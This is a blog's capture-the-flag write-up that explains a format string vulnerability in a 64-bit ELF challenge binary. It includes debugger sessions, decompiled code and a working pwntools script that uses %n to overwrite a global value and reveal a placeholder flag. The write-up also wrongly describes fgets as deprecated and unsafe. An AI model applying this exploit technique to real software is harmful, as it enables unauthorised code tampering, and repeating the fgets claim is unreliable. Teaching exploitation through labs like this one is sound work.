A walk outside the sandbox

Home Blog Cheat Sheets MacOS Tips Area 51 About

[CTF] TDMR (ELF 64-bit Format string arbitrary write)


Understanding the challenge

The challenge comes in the form of an ELF 64-bit executable, with symbols not stripped, compiled again without PIE but with stack canaries and stack not executable. This already informs us about things which we will be able to do, or not:

$ file tdmr 
tdmr: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/, BuildID[sha1]=7ac3d25d0fc9ca2f0ed6c889e937b728944a8c80, for GNU/Linux 3.2.0, not stripped
$ gdb ./tdmr 
GEF for linux ready, type `gef' to start, `gef config' to configure
89 commands loaded and 5 functions added for GDB 13.1 in 0.01ms using Python engine 3.11
Reading symbols from ./tdmr...
(No debugging symbols found in ./tdmr)
gef➤  checksec
[+] checksec for '/mnt/hgfs/CTF-apr-23/pwn_tdmr/challenge/tdmr'
Canary                        : ✓ 
NX                            : ✓ 
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : Full 

The interface to this challenge is a program that presents a few options to ‘print memories’, one of which has an interesting option to get user input!



Going straight for the 3rd option, we notice the call to fgets, which will read 0x4f bytes from stdin into an 8-byte variable - a clear stack based buffer overflow. But in this case the application is compiled with stack non executable and canaries, so this is not an easy option to exploit. Moreover, the fgets function is actually deprecated, meaning that it is obsolete and it is strongly suggested not to use it, because it is dangerous. It is dangerous because the input data can contain NULL characters.

  uVar1 = read_num();
  if (uVar1 == 3) {
    fwrite("\nTo unlock this memory you must be a privileged user.\n\nInsert your username to verify  it: "
 fgets((char *)&local_68,0x4f,stdin);
    fwrite("\n[*] Checking user ",1,0x13,stdout);
 printf((char *)&local_68);

The way printf function is called with user input as the only argument leads to another classic attack, format string attack! How can we use this? The flag is read and displayed by the unlock_memories function:

void unlock_memories(long param_1)
  ssize_t sVar1;
  long in_FS_OFFSET;
  char local_15;
  int local_14;
  long local_10;
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (param_1 == 0x1337babe) {
            "%s\n[+] You unlocked a core memory! You can take a look with this passphrase:%s ",
 local_14 = open("./flag.txt",0);
    if (local_14 < 0) {
      perror("\n[-] Error opening flag.txt. Please contact an Administrator.\n\n");
    while( true ) {
      sVar1 = read(local_14,&local_15,1);
      if (sVar1 < 1) break;
  else {
    fprintf(stdout,"%s\n[-] Sorry you are not a privileged user.\n\n",&DAT_004023f8);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {

However, the unlock_memories function is called from main with a different parameter than the one expected:


No 0x1337babe, just 0xdeadbeef 🙃


A closer look at the disassembly for the call to unlock_memories shows that the hardcoded parameter is actually retrieved from another location:

00401768 48 8b 05        MOV     RAX,qword ptr [locked_memory] = 00000000DEADBEEFh
         a1 28 00 00
0040176f 48 89 c7        MOV     RDI,RAX
00401772 e8 c6 fc        CALL    unlock_memories
         ff ff

and its address:

        00404010 ef be ad        undefined8 00000000DEADBEEFh
                 de 00 00 
                 00 00

GEF confirms that its location is actually in a writable page!

gef➤  x/wx 0x00404010
0x404010 <locked_memory>:       0xdeadbeef

gef➤  xinfo 0x00404010
────────── xinfo: 0x404010 ────────
Page: 0x0000000000404000  →  0x0000000000405000 (size=0x1000)
Permissions: rw-
Pathname: /mnt/hgfs/CTF-apr-23/pwn_tdmr/challenge/tdmr
Offset (from page): 0x10
Inode: 11
Segment: .data (0x0000000000404000-0x0000000000404018)
Offset (from segment): 0x10
Symbol: locked_memory

This, coupled with the fact that we have no PIE, leads to a clear exploitation path: we need to use the format string vulnerability to overwrite a specific address - 0x00404010.

Read values from the stack

To understand how format string vulnerability can be exploited on 64-bit platforms, we’ll for example attempt to read the 3-rd value from the stack. In a different scenario, that could have been very useful, like a password stored in a local variable on the stack. For convenience, we’ll set up a breakpoint before the printf function call:

gef➤  b *(main+376)
  →   0x401734 <main+376>       call   0x401150 <printf@plt>

Then run the application and supply the following format string: %3$x. The layout of the stack before the function call looks like this: Printf

After the call, we get the following output printed:

gef➤  ni

Partially what was expected. To make it even better, we can print it as a pointer, which will print a whole 8-byte address, using the format string %3$p:

gef➤  ni

We could also read values from arbitrary locations, but because the address to read from would be very large and contain a NULL byte, that would truncate the format string.

Writing values at arbitrary locations

Writing values at arbitrary locations is a bit trickier, but once we understand the format string and how it is parsed, things start to make sense. We need to use the %Nx%M$n format:

  • %M$n will print the number of characters written so far to the M-th function parameter.
  • %Nx will print an int padded with N zeroes.

To overwrite the password, we’ll use the following format - %322419390x%8$n.<ADDR>. Let’s unpack this:

  • 322419390 is 0x1337BABE. The value we need to write, and the number of characters printed so far.
  • %8$n - Tell printf to write 322419390 to the address in the 8th parameter.
  • . - A filler character. Its role will be obvious soon.
  • <ADDR> - This will be the hex address to write to.

Again pause in the debugger before the printf function call and examine the stack and the function parameters: Printf The address where we want to write to needs to be the 8th parameter to the printf call, excluding the format string. The first 6 parameters were passed via registers, and the rest are passed on the stack. So the 8th argument excluding the format string 0x00404010, the address we want to write to. The final Python exploitation script using pwntools:

import struct 
import binascii

from hexdump import hexdump

from pwn import *

bin_path = './tdmr'
e = ELF(bin_path)

proc = process(bin_path)



locked_memory = 0x00404010

proc.send(b'%322419390x%8$nX' + struct.pack('<Q', locked_memory) + b'\n')
buf = proc.recvrepeat(40) # Don't print the buffer because it's huge and it will crash!
print("Buf len: %d(0x%x)" % (len(buf), len(buf)))

Which as expected modifies the password and the code unlocks the flag:

$ python
[*] '/mnt/hgfs/CTF-apr-23/pwn_tdmr/challenge/tdmr'
b"\x1b[1;34m\n\nYou can only watch one memory at a time so choose wisely!\n\nInitializing interface..\n\n\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\n\xe2\x96\x91                      \xe2\x96\x91\n\xe2\x96\x91   Memory Lane Room   \xe2\x96\x91\n\xe2\x96\x91                      \xe2\x96\x91\n\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\n\xe2\x96\x91                      \xe2\x96\x91\n\xe2\x96\x91  1. Childhood        \xe2\x96\x91\n\xe2\x96\x91  2. High School      \xe2\x96\x91\n\xe2\x96\x91  3. Kira's marriage  \xe2\x96\x91\n\xe2\x96\x91  4. Exit             \xe2\x96\x91\n\xe2\x96\x91                      \xe2\x96\x91\n\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\n\n>> "
b'\nTo unlock this memory you must be a privileged user.\n\nInsert your username to verify it: '
Buf len: 322419524(0x1337bb44)
b' You unlocked a core memory! You can take a look with this passphrase:\x1b[0m HTB{f4k3_fl4g_4_t35t1ng}\n'

Because we would be writing a huge amount of bytes, that could easily lead to a crash. To avoid this, we’re only printing the last 100 bytes.
print("Buf len: %d(0x%x)" % (len(buf), len(buf)))